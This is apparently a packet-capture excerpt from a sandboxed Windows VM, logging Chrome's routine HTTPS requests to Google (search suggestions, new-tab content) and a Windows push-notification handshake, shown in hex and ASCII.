2025-02-01 20:59:05 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-01 20:59:05 UTC	1303	IN	HTTP/1.1 200 OK Date: Sat, 01 Feb 2025 20:59:05 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-nofh_G5GYgmJrG1J6J7r1Q' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-02-01 20:59:05 UTC	87	IN	Data Raw: 33 37 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 6f 6c 6f 20 6c 65 76 65 6c 69 6e 67 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 70 75 6e 78 73 75 74 61 77 6e 65 79 20 70 68 69 6c 20 67 72 6f 75 6e 64 68 6f 67 20 64 61 79 20 32 30 32 35 22 2c 22 70 65 6e Data Ascii: 370)]}'["",["solo leveling release date","punxsutawney phil groundhog day 2025","pen
2025-02-01 20:59:05 UTC	800	IN	Data Raw: 6e 20 73 74 61 74 65 20 69 6f 77 61 20 77 72 65 73 74 6c 69 6e 67 20 6d 61 74 63 68 22 2c 22 74 61 72 67 65 74 20 62 6f 79 63 6f 74 74 20 64 65 69 22 2c 22 66 6f 72 74 6e 69 74 65 20 6f 67 20 73 65 61 73 6f 6e 20 32 20 62 61 74 74 6c 65 20 70 61 73 73 22 2c 22 79 6f 75 6e 67 20 61 6e 64 20 74 68 65 20 72 65 73 74 6c 65 73 73 20 77 65 65 6b 6c 79 20 73 70 6f 69 6c 65 72 73 22 2c 22 64 61 76 69 64 20 62 65 6e 61 76 69 64 65 7a 20 76 73 20 64 61 76 69 64 20 6d 6f 72 72 65 6c 6c 20 66 69 67 68 74 22 2c 22 72 6f 63 6b 73 74 61 72 20 67 61 6d 65 73 20 67 74 61 20 36 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a Data Ascii: n state iowa wrestling match","target boycott dei","fortnite og season 2 battle pass","young and the restless weekly spoilers","david benavidez vs david morrell fight","rockstar games gta 6 release date"],["","","","","","","",""],[],{"google:clientdata":
2025-02-01 20:59:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49747	216.58.212.164	443	3468	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:05 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49748	216.58.212.164	443	3468	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:05 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-01 20:59:06 UTC	1055	IN	HTTP/1.1 200 OK Version: 720856229 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 01 Feb 2025 20:59:05 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-02-01 20:59:06 UTC	335	IN	Data Raw: 32 32 36 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 4f 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 226b)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Oe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2025-02-01 20:59:06 UTC	1390	IN	Data Raw: 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 Data Ascii: d gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u0
2025-02-01 20:59:06 UTC	1390	IN	Data Raw: 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c Data Ascii: e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\
2025-02-01 20:59:06 UTC	1390	IN	Data Raw: 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 Data Ascii: bindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v
2025-02-01 20:59:06 UTC	1390	IN	Data Raw: 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 Data Ascii: -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9
2025-02-01 20:59:06 UTC	1390	IN	Data Raw: 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 34 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 32 36 30 33 30 36 2c 31 30 32 32 37 38 32 30 35 2c 31 30 32 32 37 38 32 30 38 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 Data Ascii: -label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700304,3700949,3701384,102260306,102278205,102278208],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapp
2025-02-01 20:59:06 UTC	1390	IN	Data Raw: 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4d 64 Data Ascii: u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Md
2025-02-01 20:59:06 UTC	144	IN	Data Raw: 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 59 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 5a 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 5a 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 48 5c 22 29 3b 7d 3b 5f 2e 0d 0a Data Ascii: ){const b\u003d_.Yd();return new _.Zd(b?b.createScriptURL(a):a)};_.ae\u003dfunction(a){if(a instanceof _.Zd)return a.i;throw Error(\"H\");};_.
2025-02-01 20:59:06 UTC	429	IN	Data Raw: 31 61 36 0d 0a 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 62 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 48 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 63 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 3b 63 6f 6e 73 74 20 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 62 2e 71 75 65 72 79 53 65 6c 65 63 Data Ascii: 1a6ce\u003dfunction(a){if(be.test(a))return a};_.de\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"H\");else a\u003d_.ce(a);return a};_.ee\u003dfunction(a,b\u003ddocument){let c;const d\u003d(c\u003db.querySelec
2025-02-01 20:59:06 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5c 6e 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e 4c 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 53 64 28 5f 2e 4c 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 6c 65 74 20 64 3b 72 65 74 75 72 6e 28 64 5c 75 30 30 33 64 5f 2e 67 65 28 61 2c 62 29 29 21 5c 75 30 30 33 64 6e 75 6c 6c 3f 64 3a 63 7d 3b 5f 2e 68 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 6c 65 74 20 64 3b 72 65 74 75 72 6e 28 64 5c 75 30 30 33 64 Data Ascii: 8000\u003d\u003dvoid 0};\n_.ge\u003dfunction(a,b){return _.Td(_.Lc(a,b))};_.S\u003dfunction(a,b){return _.Sd(_.Lc(a,b))};_.T\u003dfunction(a,b,c\u003d0){let d;return(d\u003d_.ge(a,b))!\u003dnull?d:c};_.he\u003dfunction(a,b,c\u003d0){let d;return(d\u003d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49749	216.58.212.164	443	3468	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:05 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-01 20:59:06 UTC	970	IN	HTTP/1.1 200 OK Version: 720856229 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 01 Feb 2025 20:59:05 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-02-01 20:59:06 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2025-02-01 20:59:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49751	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 6c 4b 69 5a 58 62 43 69 30 43 6a 39 64 69 6a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 33 38 64 33 65 33 34 36 65 36 36 61 31 61 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: BlKiZXbCi0Cj9dij.1Context: 938d3e346e66a1a1
2025-02-01 20:59:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-02-01 20:59:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 42 6c 4b 69 5a 58 62 43 69 30 43 6a 39 64 69 6a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 33 38 64 33 65 33 34 36 65 36 36 61 31 61 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 65 4e 31 4e 48 63 33 2b 66 68 56 37 79 68 39 54 73 77 70 39 42 59 51 55 30 41 5a 39 46 50 4f 62 39 71 4d 46 38 34 79 37 58 65 58 49 48 58 68 6c 77 55 42 75 65 58 66 51 58 46 33 52 4e 47 6c 5a 32 58 4a 55 41 6b 38 58 71 41 79 63 31 79 6e 58 30 72 76 4c 6e 50 71 79 41 6d 34 6c 56 32 39 73 6a 63 44 41 66 51 2b 31 4f 53 36 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: BlKiZXbCi0Cj9dij.2Context: 938d3e346e66a1a1<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdeN1NHc3+fhV7yh9Tswp9BYQU0AZ9FPOb9qMF84y7XeXIHXhlwUBueXfQXF3RNGlZ2XJUAk8XqAyc1ynX0rvLnPqyAm4lV29sjcDAfQ+1OS6h
2025-02-01 20:59:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 42 6c 4b 69 5a 58 62 43 69 30 43 6a 39 64 69 6a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 33 38 64 33 65 33 34 36 65 36 36 61 31 61 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: BlKiZXbCi0Cj9dij.3Context: 938d3e346e66a1a1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-02-01 20:59:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
